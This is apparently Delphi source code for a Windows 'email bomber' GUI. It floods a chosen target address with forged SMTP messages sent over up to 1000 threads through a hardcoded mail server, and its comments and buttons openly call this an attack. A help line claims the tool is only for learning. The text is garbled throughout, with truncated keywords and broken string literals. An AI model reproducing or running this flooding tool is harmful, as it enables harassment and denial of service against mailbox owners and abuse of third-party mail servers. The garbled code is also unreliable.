windows,messages,winsock,sysutil
{$R *.
RES
const
CRLF
=#13#10
exename:pchar='郵箱信使'
var
thd:array[1..1000] of integer
tid:array[1..1000] of dword
faint,hMutex,mcount,speed,newtime,oldtime,
um
,count,err:integer
:string
uf:array[0..1024] of char
dest:string
attstart:boolea
//----------------------
wClass: TWndClass; //窗口類變量
Msg: TMSG; //消息變量
hInst, //程序實例
Handle, //主窗口句柄
hFont, //字體句柄
//----------------
hBut
to
Start, //開始按鈕
hBut
to
to
, //停止按鈕
hButtonHelp, //幫助按鈕
hButtonExit, //退出按鈕
hEditE
, //e-
編輯
hEditCount, //次數編輯
hEditThread, //線程數編輯
hLabelE
, //e-mail提示
hLabelCount, //次數提示
hLabelThread, //線程數提示
hLabelInfo //領息提示
:integer; //句柄類型
//--------------------
//往壹個窗口寫標題
rocedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end
//從壹個窗口讀標題
rocedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end
//以下是網絡連接的過程
function StartNet(host:string;port:integer):integer
var
wsa
data
:twsa
data
fsocket:integer
SockAddrIn:TSockAddrI
err:integer
egi
//為網絡連接作好準備(用winsock1.1以上版本)
err:=WSAStartup($0101,WSA
Data
//創建壹個客戶端套接字(
Client
Socket,用SOCK_STREAM,即
TCP
協義)
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP)
//初始化網絡數據
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host))
SockAddrIn.sin_family := PF_INET
SockAddrIn.sin_port :=htons(port)
//客戶端向smtp進行連接
repeat
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn))
until err=0
//
Re
ult:=FSocket
end
//以下是網絡關閉的過程
rocedure StopNet(Fsocket:integer)
var
err:integer
egi
//發信結束,關閉客戶端套接字(Close
Client
Socket)
err:=closesocket(FSocket)
//清除網絡參數
err:=WSACleanu
end
//下面是個發送數據包的過程
function SendData(FSocket:integer;SendStr:string):integer
const
MaxSize=1024
var
DataBuf:array[0..MaxSize] of char
err:integer
egi
//讀取網絡數據
err:=recv(FSocket,DataBuf,MaxSize,0)
//將網絡數據寫入主窗口的標題中,提示用戶正在發信過程中
//WriteCaption(handle,DataBuf)
//向網絡發送數據
trcopy(DataBuf,pchar(SendStr))
err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE)
Re
ult:=0
end
//下面是個發信的過程
rocedure SendMail
var SendBody:string
FSocket:integer
egi
repeat
//指定smtp主機地址,這裏用的是smtp.21cn.com,它的ip為(202.104.32.230)
//指定smtp主機的發信端口,默認為25
FSocket:=StartNet('202.104.32.230',25)
//-------下面是發信過程的各步處理-------
//---------------------------------------
//第壹步:發HELO指令,表示我要開始發信了
SendData(FSocket,'HELO'+
CRLF
//第二步:發MAIL
FROM
指令,表示發信人的信箱
// 註意現在很多SMTP主機有只能允許本地合法用戶發信
// 所以發信者的信箱在發信主機中應是壹個合法用戶
// 否則無法發信,比如hack001便是smtp.21cn.com中的壹個合法用戶
SendData(FSocket,'MAIL
FROM
: <'+
CRLF
">hack001@21cn.com>'+CRLF)
//第三步:發RCPT TO指令,表示目標用戶的郵箱,就是妳要攻擊者的郵箱
// 這壹步可以用多個RCPT TO命令指向同壹個目標,可以極大的加快攻擊速度
// 但對163.net好象不行,他加了過濾機制
SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF)
//第四步:發DATA指令,表示要向SMTP主機發數據
SendData(FSocket,'DATA'+CRLF)
//第五步:發具體數據,包括如下內容(信封和信體):
//
From
:表示發信者的地址,可以是假的用戶(可以隨機產生),後面以CRLF(即回車換行符)結束
// TO:表示收信者的地址,可以是假的用戶(可以隨機產生),後面以CRLF結束
// Subject:表示郵件主題,後面以CRLF結束
// 後面壹定要再加壹個CRLF,表示信封部分結束了
// 接下來是信的主體內容,可以是任何內容,後面以CRLF結束
// 然後壹定要再加壹個.符號,表示信體結束,後面以CRLF結束
SendBody:='From:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF
+'To:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF
+'Subject:New Bome 2001.'+CRLF
+CRLF
+'Hello World.'+CRLF
+'.'+CRLF
SendData(FSocket,SendBody)
//第六步:發結QUIT指令,表示發信過程結束
SendData(FSocket,'QUIT'+CRLF)
//
waitforsingleobject(hMutex,INFINITE)
//顯示發信過程的剩余郵件數目
WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封郵件 / '+'還有 '+inttostr(count)+' 封郵件 '+CRLF+
'正在使用: '+inttostr(num)+' 個攻擊線程'+CRLF+
'經過時間: '+inttostr(newtime div 1000)+' 秒'))
//總次數減壹
Dec(count)
//調用發信過程,進行發信
ewtime:=integer(gettickcount())-oldtime
eed:=mcount*1000*60 div newtime
WriteCaption(handle,pchar('攻擊速度: '+inttostr(speed)+' 封/分鐘'))
inc(mcount)
//sleep(300)
if count<=0 then break
releasemutex(hMutex)
//
StopNet(Fsocket)
until count<=0
end
//------------------------------------
//以下是線程創建時調用的線程函數
function fun(Parameter: Pointer): Integer; stdcall
egi
SendMail
WriteCaption(handle,exename)
WriteCaption(hLabelInfo,pchar('發送結束'))
attstart:=true
result:=0
end
rocedure ButtonStart
var k:integer
egi
if attstart=true the
egi
attstart:=false
WriteCaption(hLabelInfo,pchar('發送開始........'))
ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf)
ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf))
ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf))
oldtime:=gettickcount()
mcount:=0
if Num>1000 then Num:=1000
for k:=1 to Num do
thd[k]:=createthread(nil,0,@fun,nil,0,tid[k])
end
end
rocedure ButtonSto
var k:integer
egi
for k:=1 to Num do
TerminateThread(thd[k],0)
WriteCaption(handle,exename)
WriteCaption(hLabelInfo,pchar('發送結束'))
attstart:=true
count:=0
end
rocedure MainCreate
egi
attstart:=true
hMutex:=createmutex(nil,true,'Bome2001')
releasemutex(hMutex)
end
rocedure ButtonHel
egi
1:='本軟件只用學習用,不可害人'+CRLF+
'程序使用多線程100個線程,發送速度極快!'+CRLF;
messagebox(handle,pchar(s1),'幫助',0)
end
//主程序結束
rocedure ShutDow
egi
CloseHandle(hMutex)
//刪除字體對象
DeleteObject(hFont)
//取消窗口類的註冊
UnRegisterClass(wClass.lpszClassName,hInst)
//結束主進程
ExitProcess(hInst)
end
//這是主窗口的消息處理函數
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall
egi
Result:=DefWindowProc(hWnd,Msg,wParam,lParam)
case Msg of
WM_COMMAND:
if lParam=hButtonStart then ButtonStart
else if lParam=hButtonStop then ButtonSto
else if lParam=hButtonHelp then ButtonHel
else if lParam=hButtonExit then ShutDow
WM_CREATE:MainCreate
WM_DESTROY: ShutDow
end
end
//定義幾個窗口創建函數
functio
CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begi
Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end
functio
CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begi
Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or
WS_CHILD or ES_LEFT or
ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end
functio
CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begi
Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or
SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd
egi
//取得應用程序實例句柄
hInst:=GetModuleHandle(nil)
//初使化窗口類的信息
with wClass do
egi
Style:= CS_PARENTDC
hIcon:= LoadIcon(hInst,'MAINICON')
lpfnWndProc:= @WindowProc
hInstance:= hInst
hbrBackground:= COLOR_BTNFACE+1
lpszClassName:= 'MainClass'
hCursor:= LoadCursor(0,IDC_ARROW)
end
// 註冊窗口類
RegisterClass(wClass)
// 建立主窗口
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil)
end
//---------主過程,類似於 C語言 中的 WinMain()
egi
//建立主窗口
handle:=CreateMain(exename,10,10,320,135)
//建立四個控制按鈕
hButtonStart:=CreateButton('發送攻擊',240,4+26*0,70,24)
hButtonStop:=CreateButton('停止發送' ,240,4+26*1,70,24)
hButtonHelp:=CreateButton('幫 助' ,240,4+26*2,70,24)
hButtonExit:=CreateButton('退 出' ,240,4+26*3,70,24)
//建立兩個編輯框
hEditEmail:=CreateEdit(bome@hacker.com',60,4,174,20">'bome@hacker.com',60,4,174,20)
hEditCount:=CreateEdit('1000',60,4+26*1,60,20)
hEditThread:=CreateEdit('10',193,4+26*1,41,20)
//建立三個標簽
hLabelEmail:=CreateLabel('發送目標:',4,8,54,24)
hLabelCount:=CreateLabel('發送次數:',4,8+26*1,54,24)
hLabelThread:=CreateLabel('線程數:',124,8+26*1,66,24)
hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44)
//創建字體對象
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH
or FF_DONTCARE,'宋體')
//改變字體
SendMessage(hButtonStart,WM_SETFONT,hFont,0)
SendMessage(hButtonStop,WM_SETFONT,hFont,0)
SendMessage(hButtonHelp,WM_SETFONT,hFont,0)
SendMessage(hButtonExit,WM_SETFONT,hFont,0)
SendMessage(hEditEmail,WM_SETFONT,hFont,0)
SendMessage(hEditCount,WM_SETFONT,hFont,0)
SendMessage(hEditThread,WM_SETFONT,hFont,0)
SendMessage(hLabelEmail,WM_SETFONT,hFont,0)
SendMessage(hLabelCount,WM_SETFONT,hFont,0)
SendMessage(hLabelThread,WM_SETFONT,hFont,0)
SendMessage(hLabelInfo,WM_SETFONT,hFont,0)
//進入消息循環
while(GetMessage(Msg,Handle,0,0))do
egi
TranslateMessage(Msg)
DispatchMessage(Msg)
end
end.